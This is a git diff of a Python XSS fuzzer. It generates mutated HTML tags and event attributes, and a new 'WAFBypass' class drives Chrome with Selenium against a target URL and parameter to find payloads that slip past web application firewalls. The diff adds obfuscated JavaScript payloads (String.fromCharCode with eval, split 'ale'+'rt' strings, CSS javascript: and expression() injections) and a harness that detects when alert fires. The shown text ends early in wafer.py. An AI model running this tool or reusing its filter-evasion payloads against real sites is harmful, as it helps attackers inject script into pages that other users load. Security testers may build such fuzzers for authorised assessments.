merge dl-dev in neg-dev #2
							
								
								
									
										17
									
								
								language.py
									
									
									
									
									
								
							
							
						
						
									
										17
									
								
								language.py
									
									
									
									
									
								
							@ -1,6 +1,7 @@
 | 
			
		||||
from language_utils import gen_boolean, gen_color, gen_date, gen_email, \
 | 
			
		||||
    gen_javascript, gen_number, gen_style, gen_text, gen_url, gen_name, \
 | 
			
		||||
    gen_target, gen_drop, gen_dir, gen_flag, gen_wtarget, gen_access_key
 | 
			
		||||
    gen_target, gen_drop, gen_dir, gen_flag, gen_wtarget, gen_access_key, \
 | 
			
		||||
    gen_duration
 | 
			
		||||
from utils import rndstr, choice
 | 
			
		||||
from mutations import Mutations
 | 
			
		||||
 | 
			
		||||
@ -15,6 +16,9 @@ class HTMLTag:
 | 
			
		||||
        self.nameattr = rndstr(10)
 | 
			
		||||
        self.rndchrpos = {}
 | 
			
		||||
        self.mutator: Mutations = None
 | 
			
		||||
        self.content = rndstr(10)
 | 
			
		||||
        self.ids = []
 | 
			
		||||
        self.names = []
 | 
			
		||||
 | 
			
		||||
    def set_mutator(self, mutator):
 | 
			
		||||
        self.mutator = mutator
 | 
			
		||||
@ -28,10 +32,11 @@ class HTMLTag:
 | 
			
		||||
        if self.mutator:
 | 
			
		||||
            # mutate attributes
 | 
			
		||||
            for attr in self.attributes:
 | 
			
		||||
                if attr.attr == AttrType.ATTR_TAG_SPECIFIC:
 | 
			
		||||
                attr.__str__()
 | 
			
		||||
                if attr.attr == AttrType.ATTR_TAG_SPECIFIC and attr.kind != HTMLTagAttributeType.TypeFlag:
 | 
			
		||||
                    cases = [
 | 
			
		||||
                        lambda x: self.my_mutate_attr(x),
 | 
			
		||||
                        lambda x: self.mutator.mutate_attr(x.value),
 | 
			
		||||
                        lambda x: self.mutator.mutate_attr(x),
 | 
			
		||||
                        lambda x: self.mutator.mutate_value(x),
 | 
			
		||||
                    ]
 | 
			
		||||
                    choice(cases)(attr)
 | 
			
		||||
                elif attr.attr == AttrType.ATTR_EVENT:
 | 
			
		||||
@ -53,6 +58,8 @@ class HTMLTag:
 | 
			
		||||
            for attr in self.attributes:
 | 
			
		||||
                tag += f"{attr} "
 | 
			
		||||
            tag += ">"
 | 
			
		||||
            if len(self.children) == 0:
 | 
			
		||||
                tag += f"{self.content}"
 | 
			
		||||
            for child in self.children:
 | 
			
		||||
                tag += f"{child}"
 | 
			
		||||
            tag += f"</{self.name}>"
 | 
			
		||||
@ -80,6 +87,7 @@ class HTMLTagAttributeType:
 | 
			
		||||
    TypeDir = 13
 | 
			
		||||
    TypeWindowTarget = 14
 | 
			
		||||
    TypeAccessKey = 15
 | 
			
		||||
    TypeDuration = 16
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
Generators = {
 | 
			
		||||
@ -99,6 +107,7 @@ Generators = {
 | 
			
		||||
    HTMLTagAttributeType.TypeDir:  gen_dir,
 | 
			
		||||
    HTMLTagAttributeType.TypeWindowTarget: gen_wtarget,
 | 
			
		||||
    HTMLTagAttributeType.TypeAccessKey: gen_access_key,
 | 
			
		||||
    HTMLTagAttributeType.TypeDuration: gen_duration,
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -1,20 +1,8 @@
 | 
			
		||||
from utils import choice
 | 
			
		||||
from utils import choice, rndstr
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
def gen_text():
 | 
			
		||||
    cases = {
 | 
			
		||||
        0: lambda: 'alert(0)',
 | 
			
		||||
        1: lambda: 'prompt\x600\x60',
 | 
			
		||||
        2: lambda: '"confirm\x600\x60"',
 | 
			
		||||
        3: lambda: 'window["alert"](0)',
 | 
			
		||||
        4: lambda: 'window["prompt"](0)',
 | 
			
		||||
        5: lambda: 'window["confirm"](0)',
 | 
			
		||||
        6: lambda: '"alert\x600\x60"',
 | 
			
		||||
        7: lambda: '"prompt\x600\x60"',
 | 
			
		||||
        8: lambda: '"alert(1)"',
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    return choice(cases)()
 | 
			
		||||
    return rndstr(8)
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
def gen_boolean():
 | 
			
		||||
@ -25,7 +13,7 @@ def gen_boolean():
 | 
			
		||||
        3: lambda: 'false',
 | 
			
		||||
        4: lambda: 'null',
 | 
			
		||||
        5: lambda: 'undefined',
 | 
			
		||||
        6: lambda: '""',
 | 
			
		||||
        6: lambda: '',
 | 
			
		||||
        7: lambda: '0',
 | 
			
		||||
        8: lambda: '1',
 | 
			
		||||
    }
 | 
			
		||||
@ -37,13 +25,8 @@ def gen_number():
 | 
			
		||||
    cases = {
 | 
			
		||||
        0: lambda: '0',
 | 
			
		||||
        1: lambda: '1',
 | 
			
		||||
        2: lambda: '0.1',
 | 
			
		||||
        3: lambda: '1.1',
 | 
			
		||||
        4: lambda: '0x1',
 | 
			
		||||
        5: lambda: '0b1',
 | 
			
		||||
        6: lambda: '0o1',
 | 
			
		||||
        7: lambda: '1e1',
 | 
			
		||||
        8: lambda: '1e-1',
 | 
			
		||||
        2: lambda: '2',
 | 
			
		||||
        3: lambda: '3',
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    return choice(cases)()
 | 
			
		||||
@ -68,17 +51,19 @@ def gen_color():
 | 
			
		||||
def gen_javascript():
 | 
			
		||||
    cases = {
 | 
			
		||||
        0: lambda: 'alert(0)',
 | 
			
		||||
        1: lambda: 'prompt\x600\x60',
 | 
			
		||||
        2: lambda: '"confirm\x600\x60"',
 | 
			
		||||
        3: lambda: 'window["alert"](0)',
 | 
			
		||||
        4: lambda: 'window["prompt"](0)',
 | 
			
		||||
        5: lambda: 'window["confirm"](0)',
 | 
			
		||||
        6: lambda: '"alert\x600\x60"',
 | 
			
		||||
        7: lambda: '"prompt\x600\x60"',
 | 
			
		||||
        8: lambda: '"alert(1)"',
 | 
			
		||||
        9: lambda: 'console.log(alert(1))//',
 | 
			
		||||
        10: lambda: 'console.log(alert(1))/*',
 | 
			
		||||
        1: lambda: 'prompt`0`',
 | 
			
		||||
        2: lambda: 'confirm`0`',
 | 
			
		||||
        3: lambda: "window['alert'](0)",
 | 
			
		||||
        4: lambda: "window['prompt'](0)",
 | 
			
		||||
        5: lambda: "window['confirm'](0)",
 | 
			
		||||
        6: lambda: 'eval.call`${String.fromCharCode(97,108,101,114,116,40,49,41)}`',
 | 
			
		||||
        7: lambda: 'Function(`a${`lert\`1\``}`).call``',
 | 
			
		||||
        8: lambda: "window['ale'+'rt'](window['doc'+'ument']['dom'+'ain']);//",
 | 
			
		||||
        9: lambda: "eval.call`${'alert\x2823\x29'}`",
 | 
			
		||||
        10: lambda: '[].sort.call`${alert}23`',
 | 
			
		||||
        11: lambda: '{1:alert(1)}',
 | 
			
		||||
        12: lambda: '(()=>{alert`1`})()',
 | 
			
		||||
        13: lambda: 'x=alert;x(1);',
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    return choice(cases)()
 | 
			
		||||
@ -90,6 +75,8 @@ def gen_style():
 | 
			
		||||
        0: lambda: 'background-image:url("javascript:alert(1)")',
 | 
			
		||||
        1: lambda: 'expression(alert(1))',
 | 
			
		||||
        2: lambda: 'expression\x600\x60',
 | 
			
		||||
        3: lambda: 'animation-name:x;animation-duration:0s;',
 | 
			
		||||
        4: lambda: '@keyframes x{}'
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    return choice(cases)()
 | 
			
		||||
@ -119,27 +106,19 @@ def gen_email():
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
def gen_date():
 | 
			
		||||
    return ''
 | 
			
		||||
    return '2020-01-01'
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
def gen_target(root):
 | 
			
		||||
    if root is None:
 | 
			
		||||
        return None
 | 
			
		||||
    ids = []
 | 
			
		||||
    ids.append(root.id)
 | 
			
		||||
    for child in root.children:
 | 
			
		||||
        ids.append(child.id)
 | 
			
		||||
    return choice(ids)
 | 
			
		||||
def gen_target(tag):
 | 
			
		||||
    if tag is None:
 | 
			
		||||
        return ""
 | 
			
		||||
    return choice(tag.ids)
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
def gen_name(root):
 | 
			
		||||
    if root is None:
 | 
			
		||||
        return None
 | 
			
		||||
    names = []
 | 
			
		||||
    names.append(root.nameattr)
 | 
			
		||||
    for child in root.children:
 | 
			
		||||
        names.append(child.nameattr)
 | 
			
		||||
    return choice(names)
 | 
			
		||||
def gen_name(tag):
 | 
			
		||||
    if tag is None:
 | 
			
		||||
        return ""
 | 
			
		||||
    return choice(tag.names)
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
def gen_flag():
 | 
			
		||||
@ -160,3 +139,7 @@ def gen_wtarget():
 | 
			
		||||
 | 
			
		||||
def gen_access_key():
 | 
			
		||||
    return 'X'
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
def gen_duration():
 | 
			
		||||
    return choice(["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]) + choice(["s", "ms"])
 | 
			
		||||
 | 
			
		||||
							
								
								
									
										19
									
								
								mutations.py
									
									
									
									
									
								
							
							
						
						
									
										19
									
								
								mutations.py
									
									
									
									
									
								
							@ -15,27 +15,27 @@ class Mutations:
 | 
			
		||||
 | 
			
		||||
        return choice_percent(cases)(attr)
 | 
			
		||||
 | 
			
		||||
    def mutate_value(self, value: str):
 | 
			
		||||
    def mutate_value(self, attr):
 | 
			
		||||
        cases = {
 | 
			
		||||
            70: lambda x: x,
 | 
			
		||||
            20: self.mutate_value_newline,
 | 
			
		||||
            10: self.mutate_value_unicode,
 | 
			
		||||
        }
 | 
			
		||||
 | 
			
		||||
        return choice_percent(cases)(value)
 | 
			
		||||
        return choice_percent(cases)(attr)
 | 
			
		||||
 | 
			
		||||
    def mutate_tag(self, tag):
 | 
			
		||||
        cases = {
 | 
			
		||||
            70: lambda x: x,
 | 
			
		||||
            30: self.mutate_tag_insert_random_pos,
 | 
			
		||||
            95: lambda x: x,
 | 
			
		||||
            5: self.mutate_tag_insert_random_pos,
 | 
			
		||||
        }
 | 
			
		||||
 | 
			
		||||
        return choice_percent(cases)(tag)
 | 
			
		||||
 | 
			
		||||
    def mutate_js(self, js: str):
 | 
			
		||||
        cases = {
 | 
			
		||||
            70: lambda x: x,
 | 
			
		||||
            30: self.mutate_js_insert_random_pos,
 | 
			
		||||
            95: lambda x: x,
 | 
			
		||||
            5: self.mutate_js_insert_random_pos,
 | 
			
		||||
        }
 | 
			
		||||
 | 
			
		||||
        return choice_percent(cases)(js)
 | 
			
		||||
@ -60,6 +60,10 @@ class Mutations:
 | 
			
		||||
    def mutate_value_newline(attr):
 | 
			
		||||
        # find a random position in the value
 | 
			
		||||
        # and insert a newline
 | 
			
		||||
        if (attr.value is None):
 | 
			
		||||
            print("attr.value is None")
 | 
			
		||||
            print(attr)
 | 
			
		||||
            exit(0)
 | 
			
		||||
        pos = choice(range(len(attr.value)))
 | 
			
		||||
        attr.value = f"{attr.value[:pos]}\n{attr.value[pos:]}"
 | 
			
		||||
        return attr
 | 
			
		||||
@ -84,7 +88,8 @@ class Mutations:
 | 
			
		||||
        nmutations = choice(range(1, 4))
 | 
			
		||||
 | 
			
		||||
        for _ in range(nmutations):
 | 
			
		||||
            tag.rndchrpos[pos] = choice_percent(chars)()
 | 
			
		||||
            mut = choice_percent(chars)
 | 
			
		||||
            tag.rndchrpos[pos] = mut()
 | 
			
		||||
 | 
			
		||||
        return tag
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
							
								
								
									
										27
									
								
								tags.py
									
									
									
									
									
								
							
							
						
						
									
										27
									
								
								tags.py
									
									
									
									
									
								
							@ -3,6 +3,7 @@ from language import HTMLAttribute, HTMLTag, HTMLTagAttributeType
 | 
			
		||||
 | 
			
		||||
Tags = [
 | 
			
		||||
    HTMLTag('a', self_closing=False),
 | 
			
		||||
    HTMLTag('animate', self_closing=True),
 | 
			
		||||
    HTMLTag('abbr', self_closing=False),
 | 
			
		||||
    HTMLTag('acronym', self_closing=False),
 | 
			
		||||
    HTMLTag('address', self_closing=False),
 | 
			
		||||
@ -268,6 +269,15 @@ TagSpecificAttributes = {
 | 
			
		||||
        HTMLAttribute('target', HTMLTagAttributeType.TypeWindowTarget),
 | 
			
		||||
        HTMLAttribute('type', HTMLTagAttributeType.TypeText),
 | 
			
		||||
    ],
 | 
			
		||||
    'animate': [
 | 
			
		||||
        HTMLAttribute('attributeName', HTMLTagAttributeType.TypeText),
 | 
			
		||||
        HTMLAttribute('attributeType', HTMLTagAttributeType.TypeText),
 | 
			
		||||
        HTMLAttribute('begin', HTMLTagAttributeType.TypeText),
 | 
			
		||||
        HTMLAttribute('by', HTMLTagAttributeType.TypeText),
 | 
			
		||||
        HTMLAttribute('calcMode', HTMLTagAttributeType.TypeText),
 | 
			
		||||
        HTMLAttribute('dur', HTMLTagAttributeType.TypeDuration),
 | 
			
		||||
        HTMLAttribute('end', HTMLTagAttributeType.TypeText),
 | 
			
		||||
    ],
 | 
			
		||||
    'abbr': [
 | 
			
		||||
        HTMLAttribute('title', HTMLTagAttributeType.TypeText),
 | 
			
		||||
    ],
 | 
			
		||||
@ -286,7 +296,6 @@ TagSpecificAttributes = {
 | 
			
		||||
        HTMLAttribute('data', HTMLTagAttributeType.TypeURL),
 | 
			
		||||
        HTMLAttribute('height', HTMLTagAttributeType.TypeNumber),
 | 
			
		||||
        HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber),
 | 
			
		||||
        HTMLAttribute('name', HTMLTagAttributeType.TypeName),
 | 
			
		||||
        HTMLAttribute('object', HTMLTagAttributeType.TypeURL),
 | 
			
		||||
        HTMLAttribute('vspace', HTMLTagAttributeType.TypeNumber),
 | 
			
		||||
        HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
 | 
			
		||||
@ -361,7 +370,6 @@ TagSpecificAttributes = {
 | 
			
		||||
        HTMLAttribute('formmethod', HTMLTagAttributeType.TypeText),
 | 
			
		||||
        HTMLAttribute('formnovalidate', HTMLTagAttributeType.TypeFlag),
 | 
			
		||||
        HTMLAttribute('formtarget', HTMLTagAttributeType.TypeWindowTarget),
 | 
			
		||||
        HTMLAttribute('name', HTMLTagAttributeType.TypeName),
 | 
			
		||||
        HTMLAttribute('title', HTMLTagAttributeType.TypeText),
 | 
			
		||||
        HTMLAttribute('type', HTMLTagAttributeType.TypeText),
 | 
			
		||||
        HTMLAttribute('value', HTMLTagAttributeType.TypeText),
 | 
			
		||||
@ -442,7 +450,6 @@ TagSpecificAttributes = {
 | 
			
		||||
        HTMLAttribute('align', HTMLTagAttributeType.TypeText),
 | 
			
		||||
        HTMLAttribute('height', HTMLTagAttributeType.TypeNumber),
 | 
			
		||||
        HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber),
 | 
			
		||||
        HTMLAttribute('name', HTMLTagAttributeType.TypeName),
 | 
			
		||||
        HTMLAttribute('src', HTMLTagAttributeType.TypeURL),
 | 
			
		||||
        HTMLAttribute('type', HTMLTagAttributeType.TypeText),
 | 
			
		||||
        HTMLAttribute('vspace', HTMLTagAttributeType.TypeNumber),
 | 
			
		||||
@ -451,7 +458,6 @@ TagSpecificAttributes = {
 | 
			
		||||
    'fieldset': [
 | 
			
		||||
        HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag),
 | 
			
		||||
        HTMLAttribute('form', HTMLTagAttributeType.TypeName),
 | 
			
		||||
        HTMLAttribute('name', HTMLTagAttributeType.TypeName),
 | 
			
		||||
    ],
 | 
			
		||||
    'figcaption': [
 | 
			
		||||
        HTMLAttribute('title', HTMLTagAttributeType.TypeText),
 | 
			
		||||
@ -473,7 +479,6 @@ TagSpecificAttributes = {
 | 
			
		||||
        HTMLAttribute('autocomplete', HTMLTagAttributeType.TypeText),
 | 
			
		||||
        HTMLAttribute('enctype', HTMLTagAttributeType.TypeText),
 | 
			
		||||
        HTMLAttribute('method', HTMLTagAttributeType.TypeText),
 | 
			
		||||
        HTMLAttribute('name', HTMLTagAttributeType.TypeName),
 | 
			
		||||
        HTMLAttribute('novalidate', HTMLTagAttributeType.TypeFlag),
 | 
			
		||||
        HTMLAttribute('target', HTMLTagAttributeType.TypeWindowTarget),
 | 
			
		||||
    ],
 | 
			
		||||
@ -481,7 +486,6 @@ TagSpecificAttributes = {
 | 
			
		||||
        HTMLAttribute('frameborder', HTMLTagAttributeType.TypeFlag),
 | 
			
		||||
        HTMLAttribute('marginheight', HTMLTagAttributeType.TypeNumber),
 | 
			
		||||
        HTMLAttribute('marginwidth', HTMLTagAttributeType.TypeNumber),
 | 
			
		||||
        HTMLAttribute('name', HTMLTagAttributeType.TypeName),
 | 
			
		||||
        HTMLAttribute('noresize', HTMLTagAttributeType.TypeFlag),
 | 
			
		||||
        HTMLAttribute('scrolling', HTMLTagAttributeType.TypeText),
 | 
			
		||||
        HTMLAttribute('src', HTMLTagAttributeType.TypeURL),
 | 
			
		||||
@ -537,7 +541,6 @@ TagSpecificAttributes = {
 | 
			
		||||
        HTMLAttribute('csp', HTMLTagAttributeType.TypeText),
 | 
			
		||||
        HTMLAttribute('height', HTMLTagAttributeType.TypeNumber),
 | 
			
		||||
        HTMLAttribute('importance', HTMLTagAttributeType.TypeText),
 | 
			
		||||
        HTMLAttribute('name', HTMLTagAttributeType.TypeName),
 | 
			
		||||
        HTMLAttribute('referrerpolicy', HTMLTagAttributeType.TypeText),
 | 
			
		||||
        HTMLAttribute('sandbox', HTMLTagAttributeType.TypeText),
 | 
			
		||||
        HTMLAttribute('src', HTMLTagAttributeType.TypeURL),
 | 
			
		||||
@ -556,7 +559,6 @@ TagSpecificAttributes = {
 | 
			
		||||
        HTMLAttribute('ismap', HTMLTagAttributeType.TypeFlag),
 | 
			
		||||
        HTMLAttribute('loading', HTMLTagAttributeType.TypeText),
 | 
			
		||||
        HTMLAttribute('longdesc', HTMLTagAttributeType.TypeURL),
 | 
			
		||||
        HTMLAttribute('name', HTMLTagAttributeType.TypeName),
 | 
			
		||||
        HTMLAttribute('referrerpolicy', HTMLTagAttributeType.TypeText),
 | 
			
		||||
        HTMLAttribute('sizes', HTMLTagAttributeType.TypeText),
 | 
			
		||||
        HTMLAttribute('src', HTMLTagAttributeType.TypeURL),
 | 
			
		||||
@ -590,7 +592,6 @@ TagSpecificAttributes = {
 | 
			
		||||
        HTMLAttribute('min', HTMLTagAttributeType.TypeText),
 | 
			
		||||
        HTMLAttribute('minlength', HTMLTagAttributeType.TypeNumber),
 | 
			
		||||
        HTMLAttribute('multiple', HTMLTagAttributeType.TypeFlag),
 | 
			
		||||
        HTMLAttribute('name', HTMLTagAttributeType.TypeName),
 | 
			
		||||
        HTMLAttribute('pattern', HTMLTagAttributeType.TypeText),
 | 
			
		||||
        HTMLAttribute('placeholder', HTMLTagAttributeType.TypeText),
 | 
			
		||||
        HTMLAttribute('readonly', HTMLTagAttributeType.TypeFlag),
 | 
			
		||||
@ -601,6 +602,7 @@ TagSpecificAttributes = {
 | 
			
		||||
        HTMLAttribute('type', HTMLTagAttributeType.TypeText),
 | 
			
		||||
        HTMLAttribute('value', HTMLTagAttributeType.TypeText),
 | 
			
		||||
        HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
 | 
			
		||||
        HTMLAttribute('popovertarget', HTMLTagAttributeType.TypeTarget),
 | 
			
		||||
    ],
 | 
			
		||||
 | 
			
		||||
    'ins': [
 | 
			
		||||
@ -639,7 +641,6 @@ TagSpecificAttributes = {
 | 
			
		||||
        HTMLAttribute('title', HTMLTagAttributeType.TypeText),
 | 
			
		||||
    ],
 | 
			
		||||
    'map': [
 | 
			
		||||
        HTMLAttribute('name', HTMLTagAttributeType.TypeName),
 | 
			
		||||
    ],
 | 
			
		||||
    'mark': [
 | 
			
		||||
        HTMLAttribute('title', HTMLTagAttributeType.TypeText),
 | 
			
		||||
@ -665,7 +666,6 @@ TagSpecificAttributes = {
 | 
			
		||||
        HTMLAttribute('charset', HTMLTagAttributeType.TypeText),
 | 
			
		||||
        HTMLAttribute('content', HTMLTagAttributeType.TypeText),
 | 
			
		||||
        HTMLAttribute('http-equiv', HTMLTagAttributeType.TypeText),
 | 
			
		||||
        HTMLAttribute('name', HTMLTagAttributeType.TypeText),
 | 
			
		||||
    ],
 | 
			
		||||
    'meter': [
 | 
			
		||||
        HTMLAttribute('high', HTMLTagAttributeType.TypeNumber),
 | 
			
		||||
@ -697,7 +697,6 @@ TagSpecificAttributes = {
 | 
			
		||||
        HTMLAttribute('form', HTMLTagAttributeType.TypeName),
 | 
			
		||||
        HTMLAttribute('height', HTMLTagAttributeType.TypeNumber),
 | 
			
		||||
        HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber),
 | 
			
		||||
        HTMLAttribute('name', HTMLTagAttributeType.TypeName),
 | 
			
		||||
        HTMLAttribute('standby', HTMLTagAttributeType.TypeText),
 | 
			
		||||
        HTMLAttribute('type', HTMLTagAttributeType.TypeText),
 | 
			
		||||
        HTMLAttribute('usemap', HTMLTagAttributeType.TypeURL),
 | 
			
		||||
@ -725,13 +724,11 @@ TagSpecificAttributes = {
 | 
			
		||||
    'output': [
 | 
			
		||||
        HTMLAttribute('for', HTMLTagAttributeType.TypeName),
 | 
			
		||||
        HTMLAttribute('form', HTMLTagAttributeType.TypeName),
 | 
			
		||||
        HTMLAttribute('name', HTMLTagAttributeType.TypeName),
 | 
			
		||||
    ],
 | 
			
		||||
    'p': [
 | 
			
		||||
        HTMLAttribute('align', HTMLTagAttributeType.TypeText),
 | 
			
		||||
    ],
 | 
			
		||||
    'param': [
 | 
			
		||||
        HTMLAttribute('name', HTMLTagAttributeType.TypeName),
 | 
			
		||||
        HTMLAttribute('type', HTMLTagAttributeType.TypeText),
 | 
			
		||||
        HTMLAttribute('value', HTMLTagAttributeType.TypeText),
 | 
			
		||||
        HTMLAttribute('valuetype', HTMLTagAttributeType.TypeText),
 | 
			
		||||
@ -775,7 +772,6 @@ TagSpecificAttributes = {
 | 
			
		||||
        HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag),
 | 
			
		||||
        HTMLAttribute('form', HTMLTagAttributeType.TypeName),
 | 
			
		||||
        HTMLAttribute('multiple', HTMLTagAttributeType.TypeFlag),
 | 
			
		||||
        HTMLAttribute('name', HTMLTagAttributeType.TypeName),
 | 
			
		||||
        HTMLAttribute('required', HTMLTagAttributeType.TypeFlag),
 | 
			
		||||
        HTMLAttribute('size', HTMLTagAttributeType.TypeNumber),
 | 
			
		||||
    ],
 | 
			
		||||
@ -857,7 +853,6 @@ TagSpecificAttributes = {
 | 
			
		||||
        HTMLAttribute('form', HTMLTagAttributeType.TypeName),
 | 
			
		||||
        HTMLAttribute('maxlength', HTMLTagAttributeType.TypeNumber),
 | 
			
		||||
        HTMLAttribute('minlength', HTMLTagAttributeType.TypeNumber),
 | 
			
		||||
        HTMLAttribute('name', HTMLTagAttributeType.TypeName),
 | 
			
		||||
        HTMLAttribute('placeholder', HTMLTagAttributeType.TypeText),
 | 
			
		||||
        HTMLAttribute('readonly', HTMLTagAttributeType.TypeFlag),
 | 
			
		||||
        HTMLAttribute('required', HTMLTagAttributeType.TypeFlag),
 | 
			
		||||
 | 
			
		||||
							
								
								
									
										20
									
								
								utils.py
									
									
									
									
									
								
							
							
						
						
									
										20
									
								
								utils.py
									
									
									
									
									
								
							@ -7,10 +7,12 @@ def rndstr(length):
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
def choice(arr):
 | 
			
		||||
    # randomize seed
 | 
			
		||||
    return random.choice(arr)
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
def rndunicode():
 | 
			
		||||
    # randomize seed
 | 
			
		||||
    return chr(random.randint(0, 0x10FFFF))
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -25,21 +27,17 @@ def choice_percent(elements):
 | 
			
		||||
    # }
 | 
			
		||||
    # that means we have 10% chance to get 'a', 20% chance to get 'b', etc.
 | 
			
		||||
 | 
			
		||||
    # get total percent
 | 
			
		||||
    total_percent = 0
 | 
			
		||||
    for percent in elements:
 | 
			
		||||
        total_percent += percent
 | 
			
		||||
    total_percent = sum(elements.keys())
 | 
			
		||||
 | 
			
		||||
    # get random number
 | 
			
		||||
    random.seed(int(time.time() * 1000))
 | 
			
		||||
    rnd = random.randint(0, total_percent)
 | 
			
		||||
    rnd = random.randint(1, total_percent)
 | 
			
		||||
 | 
			
		||||
    # get action
 | 
			
		||||
    for percent in elements:
 | 
			
		||||
        if rnd < percent:
 | 
			
		||||
            return elements[percent]
 | 
			
		||||
        else:
 | 
			
		||||
            rnd -= percent
 | 
			
		||||
    cumulative_percent = 0
 | 
			
		||||
    for percent, action in elements.items():
 | 
			
		||||
        cumulative_percent += percent
 | 
			
		||||
        if rnd <= cumulative_percent:
 | 
			
		||||
            return action
 | 
			
		||||
 | 
			
		||||
    # should not reach here
 | 
			
		||||
    return None
 | 
			
		||||
 | 
			
		||||
							
								
								
									
										348
									
								
								wafer.py
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										348
									
								
								wafer.py
									
									
									
									
									
										Normal file
									
								
							@ -0,0 +1,348 @@
 | 
			
		||||
from selenium import webdriver
 | 
			
		||||
from selenium.webdriver.support.ui import WebDriverWait
 | 
			
		||||
from selenium.webdriver.chrome import service
 | 
			
		||||
from urllib.parse import urlparse
 | 
			
		||||
from urllib.parse import urlencode
 | 
			
		||||
from language import HTMLTag, HTMLAttribute, HTMLTagAttributeType
 | 
			
		||||
from tags import GlobalAttributes, EventsAttributes, TagSpecificAttributes, Tags
 | 
			
		||||
from mutations import Mutations
 | 
			
		||||
from utils import choice, choice_percent
 | 
			
		||||
from threading import Thread, Lock
 | 
			
		||||
import random
 | 
			
		||||
import time
 | 
			
		||||
 | 
			
		||||
# WAFBypass class
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
class TagList():
 | 
			
		||||
    def __init__(self, e):
 | 
			
		||||
        self.l = list(e)
 | 
			
		||||
 | 
			
		||||
    def __str__(self) -> str:
 | 
			
		||||
        s = ""
 | 
			
		||||
        for tag in self.l:
 | 
			
		||||
            s += f"{tag}"
 | 
			
		||||
        return s
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
class FuzzQueue():
 | 
			
		||||
    def __init__(self) -> None:
 | 
			
		||||
        self.queue = []
 | 
			
		||||
        self.lock = Lock()
 | 
			
		||||
 | 
			
		||||
    def push(self, tag):
 | 
			
		||||
        self.lock.acquire()
 | 
			
		||||
        self.queue.append(tag)
 | 
			
		||||
        self.lock.release()
 | 
			
		||||
 | 
			
		||||
    def pop(self):
 | 
			
		||||
        if len(self.queue) == 0:
 | 
			
		||||
            return None
 | 
			
		||||
        self.lock.acquire()
 | 
			
		||||
        element = self.queue.pop()
 | 
			
		||||
        self.lock.release()
 | 
			
		||||
        return element
 | 
			
		||||
 | 
			
		||||
    def __len__(self):
 | 
			
		||||
        return len(self.queue)
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
class WAFBypass():
 | 
			
		||||
    code = "window.alert_trigger = false;window.alert = function() {window.alert_trigger = true;};window.confirm = window.alert;window.prompt = window.alert;"
 | 
			
		||||
    trigger = """
 | 
			
		||||
var ids = {0};
 | 
			
		||||
for (var i = 0; i < ids.length; i++) {{
 | 
			
		||||
    var element = document.getElementById(ids[i]);
 | 
			
		||||
    if(!element) continue;
 | 
			
		||||
    // trigger all possible events click, mouseover, etc.
 | 
			
		||||
    var events = ['click', 'mouseover', 'mousedown', 'mouseup', 'mousemove', 'mouseout', 'mouseenter', 'mouseleave', 'dblclick', 'contextmenu', 'wheel', 'select', 'pointerdown', 'pointerup', 'pointermove', 'pointerover', 'pointerout', 'pointerenter', 'pointerleave', 'gotpointercapture', 'lostpointercapture'];
 | 
			
		||||
    try {{
 | 
			
		||||
        for (var j = 0; j < events.length; j++) {{
 | 
			
		||||
            var event = new MouseEvent(events[j], {{bubbles: true}});
 | 
			
		||||
            element.dispatchEvent(event);
 | 
			
		||||
        }}
 | 
			
		||||
        element.focus();
 | 
			
		||||
        element.blur();
 | 
			
		||||
        // trigger accesskey ctrl+alt+X
 | 
			
		||||
        element.dispatchEvent(new KeyboardEvent('keydown', {{ctrlKey: true, altKey: true, key: 'x'}}));
 | 
			
		||||
    }} catch (e) {{}}
 | 
			
		||||
}}
 | 
			
		||||
                """
 | 
			
		||||
 | 
			
		||||
    def __init__(self, url, param) -> None:
 | 
			
		||||
        self.param = param
 | 
			
		||||
        self.options = webdriver.ChromeOptions()
 | 
			
		||||
        self.options.add_argument('--no-sandbox')
 | 
			
		||||
        # self.options.add_argument('--headless')
 | 
			
		||||
        self.options.add_argument('--disable-gpu')
 | 
			
		||||
        self.options.add_experimental_option(
 | 
			
		||||
            "excludeSwitches", ["enable-logging"])
 | 
			
		||||
        self.unfiltered_attributes = {}
 | 
			
		||||
        self.unfiltered_tags = []
 | 
			
		||||
        self.driver = webdriver.Chrome(
 | 
			
		||||
            options=self.options,
 | 
			
		||||
            service=service.Service(service_args=["--log-path=NUL"]))
 | 
			
		||||
        self.url = urlparse(url)
 | 
			
		||||
        self.mutator = Mutations()
 | 
			
		||||
        self.queue = FuzzQueue()
 | 
			
		||||
        self.threads = []
 | 
			
		||||
        self.lock = Lock()
 | 
			
		||||
        self.payloads = 0
 | 
			
		||||
 | 
			
		||||
        random.seed(time.time_ns())
 | 
			
		||||
 | 
			
		||||
        if not self.check_connection():
 | 
			
		||||
            raise Exception("Connection Error")
 | 
			
		||||
 | 
			
		||||
        self.driver.execute_cdp_cmd(
 | 
			
		||||
            "Page.addScriptToEvaluateOnNewDocument", {"source": self.code})
 | 
			
		||||
 | 
			
		||||
    def inc_payloads(self):
 | 
			
		||||
